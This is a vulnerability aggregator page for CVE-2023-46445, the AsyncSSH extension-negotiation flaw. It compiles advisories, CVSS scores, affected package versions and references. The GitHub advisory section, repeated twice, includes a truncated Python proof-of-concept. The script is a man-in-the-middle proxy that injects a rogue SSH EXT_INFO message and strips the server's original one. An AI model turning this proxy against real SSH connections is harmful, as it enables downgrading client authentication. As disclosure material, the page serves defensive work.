CVE-2023-46445
AsyncSSH Rogue Extension Negotiation
An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a "Rogue Extension Negotiation."
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
NVD Score used
5.9
An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a "Rogue Extension Negotiation."
- Record
CVE-2023-46445- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-345
- Updated
- 2026-11-02
CVE List
5.9
An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a "Rogue Extension Negotiation."
- Record
CVE-2023-46445- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-345
- Updated
- 2026-11-02
EUVDEUVD-2023-0045
5.9
An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a "Rogue Extension Negotiation."
- Record
EUVD-2023-0045- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-cfc2-wr2v-gxm5
5.3
AsyncSSH Rogue Extension Negotiation
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
Details
The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.
A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).
PoC
<details> <summary>AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)</summary>
#!/usr/bin/python3
import socket
from threading import Thread
from binascii import unhexlify
#####################################################################################
## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##
## ##
## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##
## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##
## ##
## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##
#####################################################################################
# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222
# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22
# Length of the individual messages
NEW_KEYS_LENGTH = 16
SERVER_EXT_INFO_LENGTH = 676
newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
def contains_newkeys(data):
return newkeys_payload in data
# Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs
rogue_ext_info = unhexlify('0000000C060700000000000000000000')
def insert_rogue_ext_info(data):
newkeys_index = data.index(newkeys_payload)
# Insert rogue extension info and remove SSH_MSG_EXT_INFO
return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]
def forward_client_to_server(client_socket, server_socket):
try:
while True:
client_data = client_socket.recv(4096)
if len(client_data) == 0:
break
server_socket.send(client_data)
except ConnectionResetError:
print("[!] Client connection has been reset. Continue closing sockets.")
print("[!] forward_client_to_server thread ran out of data, closing sockets!")
client_socket.close()
server_socket.close()
def forward_server_to_client(client_socket, server_socket):
try:
while True:
server_data = server_socket.recv(4096)
if contains_newkeys(server_data):
print("[+] SSH_MSG_NEWKEYS sent by server identified!")
if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!")
while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
…
- Record
GHSA-cfc2-wr2v-gxm5- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-345, CWE-349, CWE-354
- Updated
- 2026-11-02
OSV
5.9
An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a "Rogue Extension Negotiation."
- Record
CVE-2023-46445- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
OSVDEBIAN-CVE-2023-46445
5.9
An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a "Rogue Extension Negotiation."
- Record
DEBIAN-CVE-2023-46445- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
Show 7 moreShow less
OSVGHSA-cfc2-wr2v-gxm5
5.3
AsyncSSH Rogue Extension Negotiation
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
Details
The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.
A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).
PoC
<details> <summary>AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)</summary>
#!/usr/bin/python3
import socket
from threading import Thread
from binascii import unhexlify
#####################################################################################
## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##
## ##
## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##
## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##
## ##
## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##
#####################################################################################
# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222
# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22
# Length of the individual messages
NEW_KEYS_LENGTH = 16
SERVER_EXT_INFO_LENGTH = 676
newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
def contains_newkeys(data):
return newkeys_payload in data
# Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs
rogue_ext_info = unhexlify('0000000C060700000000000000000000')
def insert_rogue_ext_info(data):
newkeys_index = data.index(newkeys_payload)
# Insert rogue extension info and remove SSH_MSG_EXT_INFO
return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]
def forward_client_to_server(client_socket, server_socket):
try:
while True:
client_data = client_socket.recv(4096)
if len(client_data) == 0:
break
server_socket.send(client_data)
except ConnectionResetError:
print("[!] Client connection has been reset. Continue closing sockets.")
print("[!] forward_client_to_server thread ran out of data, closing sockets!")
client_socket.close()
server_socket.close()
def forward_server_to_client(client_socket, server_socket):
try:
while True:
server_data = server_socket.recv(4096)
if contains_newkeys(server_data):
print("[+] SSH_MSG_NEWKEYS sent by server identified!")
if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!")
while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
…
- Record
GHSA-cfc2-wr2v-gxm5- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-345, CWE-349, CWE-354
- Updated
- 2026-11-02
OSVPYSEC-2023-237
5.9
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
- Record
PYSEC-2023-237- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2023-46445
5.9
An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a "Rogue Extension Negotiation."
- Record
UBUNTU-CVE-2023-46445- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
OSVopenSUSE-SU-2024:13417-1 No score
python310-asyncssh-2.14.1-1.1 on GA media
These are all security issues fixed in the python310-asyncssh-2.14.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:13417-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11851-1 No score
python313-asyncssh-2.24.0-1.1 on GA media
These are all security issues fixed in the python313-asyncssh-2.24.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11851-1- Updated
- 2026-11-02
OSVUSN-7108-1 No score
python-asyncssh vulnerabilities
Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the extension info message. An attacker able to intercept communications could possibly use this issue to downgrade the algorithm used for client authentication. (CVE-2023-46445)
Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the user authentication request message. An attacker could possibly use this issue to control the remote end of an SSH client session via packet injection/removal and shell emulation. (CVE-2023-46446)
- Record
USN-7108-1- Updated
- 2026-11-02
OSVUSN-7108-2 No score
python-asyncssh vulnerabilities
USN-7108-1 fixed vulnerabilities in AysncSSH. This update provides the corresponding update for Ubuntu 18.04 LTS.
Original advisory details:
Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the extension info message. An attacker able to intercept communications could possibly use this issue to downgrade the algorithm used for client authentication. (CVE-2023-46445)
Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the user authentication request message. An attacker could possibly use this issue to control the remote end of an SSH client session via packet injection/removal and shell emulation. (CVE-2023-46446)
- Record
USN-7108-2- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
asyncsshPyPI |
before 2.14.1 | 2.14.1 |
python-asyncsshDebian:12 |
before 2.10.1-2+deb12u2, plus listed versions 2.10.1-22.10.1-2+deb12u1 |
2.10.1-2+deb12u2 |
python-asyncsshDebian:13 |
before 2.15.0-1 | 2.15.0-1 |
python-asyncsshDebian:14 |
before 2.15.0-1 | 2.15.0-1 |
python-asyncsshDebian:11 |
before 2.5.0-0.1+deb11u1, plus listed versions 2.5.0-0.1 |
2.5.0-0.1+deb11u1 |
asyncsshPyPI |
before 2.14.1, plus listed versions 0.8.10.8.20.8.30.8.40.9.0 Show 45 moreShow less0.9.10.9.21.0.01.0.11.1.01.1.11.10.01.10.11.11.01.11.11.12.01.12.11.12.21.13.01.13.11.13.21.13.31.14.01.15.01.15.11.16.01.16.11.17.01.17.11.18.01.2.01.2.11.3.01.3.11.3.21.4.01.4.11.5.01.5.11.5.21.5.31.5.41.5.51.5.61.6.01.6.11.6.21.7.11.7.21.7.3 |
2.14.1 |
python-asyncsshUbuntu:16.04:LTS |
All versions, plus listed versions 1.2.0-11.2.1-11.3.0-1 |
None known |
python-asyncsshUbuntu:Pro:18.04:LTS |
before 1.11.1-1ubuntu0.1~esm2, plus listed versions 1.8.1-21.11.0-21.11.1-11.11.1-1ubuntu0.1~esm1 |
1.11.1-1ubuntu0.1~esm2 |
python-asyncsshUbuntu:20.04:LTS |
before 1.12.2-1ubuntu0.2, plus listed versions 1.12.2-11.12.2-1ubuntu0.1 |
1.12.2-1ubuntu0.2 |
python-asyncsshUbuntu:22.04:LTS |
before 2.5.0-1ubuntu0.1, plus listed versions 2.5.0-1 |
2.5.0-1ubuntu0.1 |
python-asyncsshUbuntu:Pro:24.04:LTS |
before 2.10.1-2ubuntu0.1+esm1, plus listed versions 2.10.1-22.10.1-2ubuntu0.1 |
2.10.1-2ubuntu0.1+esm1 |
python-asyncsshopenSUSE:Tumbleweed |
before 2.24.0-1.1 | 2.24.0-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-46445 is a medium vulnerability (CVSS 5.9) in Asyncssh Project Asyncssh, published November 9, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.59%, the 48th percentile. Fixed in asyncssh 2.14.1.
References
github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5
lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE
terrapin-attack.com
github.com/ronf/asyncssh/blob/develop/docs/changes.rst
github.com/advisories/GHSA-cfc2-wr2v-gxm5
packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html
Show 16 moreShow less
security.netapp.com/advisory/ntap-20231222-0001
lists.debian.org/debian-lts-announce/2024/09/msg00042.html
github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e
nvd.nist.gov/vuln/detail/CVE-2023-46445
github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml
github.com/CVEProject/cvelistV5/tree/main/cves/2023/46xxx/CVE-2023-46445.json
security-tracker.debian.org/tracker/CVE-2023-46445
github.com/ronf/asyncssh
ubuntu.com/security/CVE-2023-46445
cve.org/CVERecord?id=CVE-2023-46445
ubuntu.com/security/notices/USN-7108-1
ubuntu.com/security/notices/USN-7108-2
ubuntu.com/security/CVE-2023-46446
suse.com/security/cve/CVE-2023-46445
suse.com/security/cve/CVE-2023-48795
suse.com/security/cve/CVE-2026-62949
Left out here: 28 versions and the rest of 2 source descriptions. The JSON record has them.